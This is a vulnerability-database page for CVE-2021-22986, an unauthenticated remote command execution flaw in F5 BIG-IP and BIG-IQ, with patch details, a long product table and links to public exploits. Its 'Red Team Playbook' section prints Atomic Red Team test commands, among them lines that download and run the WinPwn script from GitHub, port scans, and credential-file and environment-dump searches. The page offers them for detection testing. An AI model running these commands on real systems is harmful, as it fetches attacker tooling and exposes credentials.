CVE-2021-22986
Overview
This vulnerability is an unauthenticated remote command execution flaw rooted in insufficient access controls on the iControl REST interface of BIG-IP and BIG-IQ products. The flaw arises from the improper validation of requests to specific management API endpoints, allowing attackers to execute arbitrary system commands without authentication. The affected component is the iControl REST API, specifically its handling of certain POST requests that interact with system utilities.
Vulnerability Description
On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2, the iControl REST interface has an unauthenticated remote command execution vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.
Impact
An attacker can execute arbitrary system commands on the affected device without any authentication or user interaction. This enables full system compromise including unauthorized access to sensitive data, manipulation or disruption of network traffic, and potential lateral movement within the network. The vulnerability allows attackers to gain administrative control over BIG-IP and BIG-IQ systems, jeopardizing the confidentiality, integrity, and availability of critical infrastructure components.
Solution
Apply vendor-provided patches as detailed in the F5 advisory K03009991 available at https://support.f5.com/csp/article/K03009991. Specifically, upgrade BIG-IP to versions 16.0.1.1 or later, 15.1.2.1 or later, 14.1.4 or later, 13.1.3.6 or later, 12.1.5.3 or later, and BIG-IQ to 7.1.0.3 or later and 7.0.0.2 or later. Follow the official patch installation instructions in the advisory to ensure proper remediation of this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (73)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Access Policy Manager | All |
cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Firewall Manager | All |
cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Advanced Web Application Firewall | All |
cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Analytics | All |
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Analytics | All |
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
|
|
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F5 | Big-Ip Analytics | All |
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
|
|
|
F5 | Big-Ip Analytics | All |
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
|
|
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F5 | Big-Ip Analytics | All |
cpe:2.3:a:f5:big-ip_analytics:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
F5 iControl REST Unauthenticated SSRF Token Generation RCE
exploits/linux/http/f5_icontrol_rest_ssrf_rce
|
wvu, Rich Warren | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated) | Al1ex | webapps | hardware | - | View |
GitHub PoCs (19)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Al1ex/CVE-2021-22986
CVE-2021-22986 & F5 BIG-IP RCE
|
Al1ex | 91 | 29 | 2021-03-22 | View |
|
dorkerdevil/CVE-2021-22986-Poc
This is a Poc for BIGIP iControl unauth RCE
|
dorkerdevil | 51 | 10 | 2021-03-17 | View |
|
S1xHcL/f5_rce_poc
cve-2021-22986 f5 rce 漏洞批量检测 poc
|
S1xHcL | 26 | 4 | 2021-03-19 | View |
|
Tas9er/CVE-2021-22986
Code By:Tas9er / F5 BIG-IP 远程命令执行漏洞
|
Tas9er | 13 | 5 | 2021-03-29 | View |
|
west9b/F5-BIG-IP-POC
CVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC集合
|
west9b | 10 | 2 | 2022-05-28 | View |
|
yaunsky/CVE-202122986-EXP
F5 BIG-IP远程代码执行;cve-2021-22986,批量检测;命令执行利用
|
yaunsky | 8 | 1 | 2021-03-26 | View |
|
safesword/F5_RCE
CVE-2021-22986 F5 BIG-IP iControl 命令执行漏洞
|
safesword | 4 | 5 | 2021-03-21 | View |
|
microvorld/CVE-2021-22986
F5 BIG-IP/BIG-IQ iControl Rest API SSRF to RCE
|
microvorld | 0 | 9 | 2021-03-22 | View |
|
ZephrFish/CVE-2021-22986_Check
CVE-2021-22986 Checker Script in Python3
|
ZephrFish | 3 | 2 | 2021-03-23 | View |
|
DDestinys/CVE-2021-22986
BIGIP F5
|
DDestinys | 0 | 0 | 2022-04-01 | View |
|
whatheheckisthis/CVE-2021-22986
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
|
whatheheckisthis | 0 | 0 | 2026-04-10 | View |
|
whatheheckisthis/Canonical-Extension-CVE-2021-22986
Exploit-Class Deterministic Control Validation System (ECD-CVS) grounded in CVE-derived failure class abstraction, enfor...
|
whatheheckisthis | 0 | 0 | 2024-07-05 | View |
|
whatheheckisthis/BigIP-iControl-RCE-Research
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
|
whatheheckisthis | 0 | 0 | 2026-04-10 | View |
|
whatheheckisthis/bigip-icontrol-rce-research
Structured SecDevOps research platform modelling CVE-2021-22986 (F5 BIG-IP iControl REST unauthenticated RCE)
|
whatheheckisthis | 0 | 0 | 2026-04-10 | View |
|
Osyanina/westone-CVE-2021-22986-scanner
A vulnerability scanner that detects CVE-2021-22986 vulnerabilities.
|
Osyanina | 0 | 0 | 2021-03-20 | View |
|
kiri-48/CVE-2021-22986
|
kiri-48 | 0 | 0 | 2021-03-22 | View |
|
dotslashed/CVE-2021-22986
|
dotslashed | 0 | 0 | 2021-03-29 | View |
|
amitlttwo/CVE-2021-22986
|
amitlttwo | 0 | 0 | 2023-02-07 | View |
|
huydung26/CVE-2021-22986
Custom POC of CVE-2021-22986 by Al1ex@Heptagram
|
huydung26 | 0 | 0 | 2023-12-28 | View |
Ransomware Groups 6
Threat Feed
44 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability (5 known victims)
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Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
34%
|
High | High |
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22986 |
| support.f5.com |
GitHub CVE
x_refsource_MISC
|
https://support.f5.com/csp/article/K03009991 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/162066/F5-BIG-IP-16.0.x-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22986 |